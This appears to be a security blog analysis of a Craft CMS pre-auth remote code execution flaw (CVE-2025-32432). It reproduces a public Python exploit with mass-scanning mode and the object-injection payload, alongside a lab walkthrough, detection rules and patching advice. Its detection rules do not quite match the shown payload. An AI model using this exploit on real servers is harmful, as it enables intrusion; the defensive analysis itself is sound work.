CVE-2025-32432: Critical Pre-Auth RCE in Craft CMS via PHP Object Injection
1. Executive Summary
CVE-2025-32432 represents a critical security vulnerability in Craft CMS, a widely deployed content management system used by enterprises and digital agencies to power custom web experiences. Assigned a CVSS v3.1 base score of 10.0 (CRITICAL), this flaw allows unauthenticated attackers to achieve Remote Code Execution (RCE) on vulnerable instances.
The vulnerability stems from a PHP Object Injection weakness in the request parameter binding layer. By manipulating JSON payloads sent to specific internal endpoints, an attacker can hijack the instantiation of PHP classes, forcing the creation of a GuzzleHttp\Psr7\FnStream object with a custom execution closure. This results in arbitrary code execution within the context of the web server process.
Key Intelligence:
- Impact: Full Remote Code Execution (RCE) without authentication.
- Scope: Craft CMS versions
3.0.0-RC1through<3.9.15,4.0.0-RC1through<4.14.15, and5.0.0-RC1through<5.6.17. - Authentication: None. The exploit bypasses CSRF protection by harvesting tokens from public-facing pages.
- Risk Status: Listed in CISA's Known Exploited Vulnerabilities (KEV) catalog. Active exploitation is confirmed.
- Context: This CVE serves as an additional fix for CVE-2023-41892, indicating a persistent deserialization binding issue in the CMS architecture.
Immediate remediation is required. Organizations must apply vendor patches or implement network-level mitigations to prevent compromise.
2. Technical Deep Dive
Vulnerability Classification
- CWE: CWE-94 (Improper Control of Generation of Code; Code Injection)
- Attack Vector: Network / Remote
- Complexity: Low
- Privileges Required: None
Root Cause Analysis
Craft CMS utilizes a robust request handling architecture that maps incoming request data (GET/POST parameters, JSON bodies) to PHP model objects. This mapping process relies on dynamic property assignment and class instantiation.
The vulnerability exists in the assets/generate-transform endpoint and potentially related asset handling routes. When Craft processes the request, it attempts to bind incoming JSON keys to properties of the craft\behaviors\FieldLayoutBehavior class.
The core weakness lies in how the framework resolves class names during this binding phase. If a JSON payload includes a special key (e.g., __class__), Craft's request mapper may inadvertently use this value to override the target class for instantiation. This is a classic PHP Object Injection chain.
The Exploitation Chain
- Object Hijack: The attacker sends a JSON payload containing
"__class": "GuzzleHttp\\Psr7\\FnStream". - Target Class Replacement: As Craft attempts to configure the
FieldLayoutBehaviorobject, it detects the__class__key. Instead of instantiating the expected behavior class, the framework instantiatesGuzzleHttp\Psr7\FnStream. - State Injection: The
FnStreamclass from the Guzzle HTTP library supports defining custom closures for stream operations. The payload injects_fn_close: "phpinfo", instructing the stream to execute thephpinfofunction when the stream's_closemethod is invoked. - Trigger Execution: The CMS request lifecycle eventually triggers the stream's closure (often during response serialization or garbage collection), executing the
phpinfofunction. In a real-world attack, this function would be replaced with a reverse shell or command execution payload. - CSRF Bypass: Craft CMS enforces CSRF protection via tokens. However, the dashboard page (
/index.php?p=admin/dashboard) is accessible without authentication and returns the CSRF token in a hidden input field. The vulnerability allows attackers to harvest this token programmatically, satisfying the CSRF check and making the attack pre-authentication.
Why GuzzleHttp\Psr7\FnStream?
FnStream is part of Guzzle's HTTP client library, commonly included in PHP frameworks. It is designed to wrap streams with custom functions. However, it is also a well-known gadget in PHP object injection chains because it allows arbitrary function calls via closure assignment. The vulnerability essentially turns a legitimate HTTP library component into a weapon.
3. PoC Analysis
The vulnerability has been successfully weaponized, with public Proof-of-Concept (PoC) code available. The following analysis covers the automated exploit script, which streamlines the attack flow for rapid exploitation.
PoC Repository: https://github.com/Sachinart/CVE-2025-32432
Author: Chirag Artani
Stars: 24 | Forks: 3
Exploit Script Overview
The PoC is written in Python and utilizes the requests, BeautifulSoup, and urllib3 libraries. It automates the following steps:
- Initializes a session and bypasses SSL verification.
- Requests the admin dashboard to harvest the
CRAFT_CSRF_TOKEN. - Posts the malicious JSON payload to the asset transform endpoint.
- Verifies RCE by parsing
phpinfo()output for specific server variables.
Code Analysis
#!/usr/bin/env python3
"""
CraftCMS CVE-2025-32432 Remote Code Execution Exploit By Chirag Artani
This script automates the exploitation of the pre-auth RCE vulnerability in CraftCMS 4.x and 5.x.
It extracts CSRF tokens and attempts RCE via the asset transform generation endpoint.
The script extracts both CRAFT_DB_DATABASE and HOME directory values to verify successful exploitation.
Usage:
Single target:
python3 craftcms_rce.py -u example.com
Multiple targets:
python3 craftcms_rce.py -f urls.txt -t 10
"""
import argparse
import concurrent.futures
import re
import requests
import urllib3
import sys
from bs4 import BeautifulSoup
from urllib.parse import urlparse
# Disable SSL warnings
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
class CraftCMSExploit:
def __init__(self, url):
"""Initialize the exploit with the target URL."""
self.url = url if url.endswith('/') else url + '/'
self.session = requests.Session()
self.session.verify = False
self.session.timeout = 15
self.session.headers = {
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36'
}
def normalize_url(self, url):
"""Ensure URL has a scheme."""
if not url.startswith('http'):
url = 'http://' + url
return url
def extract_csrf_token(self):
"""Get the CSRF token from the dashboard page."""
try:
dashboard_url = self.url + "index.php?p=admin/dashboard"
response = self.session.get(dashboard_url, timeout=10)
if response.status_code == 200:
# Parse the HTML response
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'CRAFT_CSRF_TOKEN'})
if csrf_input and csrf_input.get('value'):
csrf_token = csrf_input.get('value')
return csrf_token
else:
# Try regex as fallback
match = re.search(r'name="CRAFT_CSRF_TOKEN"\s+value="([^"]+)"', response.text)
if match:
return match.group(1)
return None
except Exception as e:
print(f"Error extracting CSRF token from {self.url}: {str(e)}")
return None
def exploit(self):
"""Attempt to exploit the vulnerability and return results."""
result = {
'url': self.url,
'vulnerable': False,
'db_name': None,
'home_dir': None,
'error': None
}
try:
# Extract CSRF token
csrf_token = self.extract_csrf_token()
if not csrf_token:
result['error'] = "Failed to extract CSRF token"
return result
# Prepare exploit request
exploit_url = self.url + "index.php?p=admin/actions/assets/generate-transform"
headers = {
'Content-Type': 'application/json',
'X-CSRF-Token': csrf_token
}
payload = {
"assetId": 11,
"handle": {
"width": 123,
"height": 123,
"as session": {
"class": "craft\\behaviors\\FieldLayoutBehavior",
"__class": "GuzzleHttp\\Psr7\\FnStream",
"__construct()": [[]],
"_fn_close": "phpinfo"
}
}
}
response = self.session.post(exploit_url, json=payload, headers=headers, timeout=15)
# Check if the exploit succeeded
if 'PHP Version' in response.text and 'PHP License' in respo
... [truncated]
Key Observations
- CSRF Harvesting: The
extract_csrf_tokenmethod demonstrates the pre-auth nature. It targets/admin/dashboard, which returns a 200 OK to unauthenticated users containing the token. - Payload Structure: The JSON payload nests the
__classinjection under"as session". This suggests Craft's request mapper traverses nested arrays and applies class binding to all leaf objects. - Verification: Although truncated, the logic implies regex extraction of
CRAFT_DB_DATABASEand$_SERVER['HOME']from thephpinfooutput to prove database access and file system read capabilities.
4. Exploitation Walkthrough
For security engineers setting up a lab environment to analyze this vulnerability, follow these steps.
Lab Setup
- Deploy Vulnerable Instance: Spin up a Craft CMS instance using a vulnerable version, e.g.,
4.14.14.docker run -p 8080:80 craftcms/craft:4.14.14 - Verify Installation: Access
http://localhost:8080and complete the installation wizard. Ensure the dashboard is accessible.
Attack Simulation
Identify Target:
Use the PoC against your lab instance.python3 craftcms_rce.py -u http://localhost:8080Observe Request Flow:
Monitor traffic with a proxy (e.g., Burp Suite or Wireshark).- Step 1: GET request to
/index.php?p=admin/dashboard.- Response includes
<input name="CRAFT_CSRF_TOKEN" value="...">.
- Response includes
- Step 2: POST request to
/index.php?p=admin/actions/assets/generate-transform.- Headers include
X-CSRF-Token: <harvested_value>. - Body contains the JSON payload with
GuzzleHttp\\Psr7\\FnStream.
- Headers include
- Step 1: GET request to
Analyze Response:
- Successful exploitation returns
200 OKwithphpinfo()HTML content. - The script will output:
[+] Target http://localhost:8080 is VULNERABLE! [+] PHP Version: 8.1.2 [+] Database: craft_db_name [+] Home Dir: /var/www/html [+] Results appended to vulnerable.txt
- Successful exploitation returns
Post-Exploitation Verification:
- Check
vulnerable.txtin the script directory. - Confirm access to sensitive environment variables.
- Check
Lab Safety Note
Disable this payload in production. Replace _fn_close: "phpinfo" with harmless checks in a controlled lab only. Uncontrolled execution can lead to data loss or system compromise.
5. Detection & Monitoring
Security operations teams must implement detection rules to identify exploitation attempts in real-time.
WAF / HTTP Monitoring
Look for the following indicators in web server logs (Nginx/Apache) or WAF logs:
- Endpoint:
admin/actions/assets/generate-transform - Method: POST
- Content-Type:
application/json - Payload Signature: Presence of
__class__orGuzzleHttpin the request body.
Sigma Rules
Deploy the following Sigma rule to detect the attack pattern in HTTP logs:
title: Craft CMS CVE-2025-32432 RCE Attempt
id: a1b2c3d4-e5f6-7890-abcd-ef1234567890
status: experimental
description: Detects exploitation of CVE-2025-32432 via PHP object injection payload in Craft CMS.
references:
- https://github.com/Sachinart/CVE-2025-32432
- https://nvd.nist.gov/vuln/detail/CVE-2025-32432
author: ilovethreats.com
logsource:
category: web_server
product: nginx
detection:
selection_target:
uri|endswith: 'admin/actions/assets/generate-transform'
method: 'POST'
selection_payload:
body|contains|all:
- '__class__'
- 'GuzzleHttp'
- 'FnStream'
condition: selection_target and selection_payload
falsepositives:
- Legitimate asset processing (unlikely to contain __class__ override)
level: critical
YARA Rules
For threat hunting in raw traffic captures or file analysis:
rule CVE_2025_32432_Payload {
meta:
description = "Detects JSON payload for Craft CMS CVE-2025-32432"
author = "ilovethreats.com"
date = "2026-04-20"
cve = "CVE-2025-32432"
strings:
$s1 = "{\\\"__class__\\\":\\\"GuzzleHttp\\\\"} nocase
$s2 = "GuzzleHttp\\\\Psr7\\\\FnStream" nocase
$s3 = "_fn_close" nocase
condition:
2 of them
}
EDR / Behavioral Indicators
- Process creation of
phpbinary initiated by the web server user (e.g.,www-data,nginx). - Execution of unexpected functions like
phpinfo,exec,system, orshell_execwithin the PHP process. - Network connections from the web server process to external IPs (reverse shells).
6. Remediation Guidance
Given the CRITICAL severity and KEV status, immediate action is mandatory.
Patching
Update Craft CMS to the latest patched version across all supported branches:
- Version 3.x: Update to
3.9.15or later. - Version 4.x: Update to
4.14.15or later. - Version 5.x: Update to
5.6.17or later.
Ensure all PHP dependencies, including guzzlehttp/guzzle, are also updated to the latest stable releases to mitigate any residual risks.
Network Mitigations
If patching is not immediately possible, implement the following controls:
- WAF Blocking: Configure WAF rules to block POST requests to
admin/actions/assets/generate-transformcontaining__class__in the JSON body. - Authentication Enforcement: Restrict access to
/admin/*routes via IP allowlisting or VPN. Note: This mitigates CSRF harvesting but does not fix the underlying RCE if the admin panel is exposed. - Disable Debugging: Ensure
CRAFT_ENABLE_EXCEPTION_HANDLERand debug modes are disabled in production to limit information disclosure.
Cloud & Compliance
- CISA BOD 22-01: For cloud services, follow the guidance to remediate known exploited vulnerabilities within 72 hours.
- Asset Discontinuation: If the product cannot be patched and no effective mitigation exists, consider discontinuing use until a secure environment can be established.
7. References
- CVE Details: CVE-2025-32432
- Vendor Advisory: Craft CMS Security Advisory
- CISA KEV: Known Exploited Vulnerabilities Catalog
- PoC Repository: Sachinart/CVE-2025-32432
- Related CVE: CVE-2023-41892
Disclaimer: This blog post is for educational and defensive security purposes only. Unauthorized testing of vulnerabilities against systems you do not own is illegal. Always ensure you have explicit permission before conducting security assessments.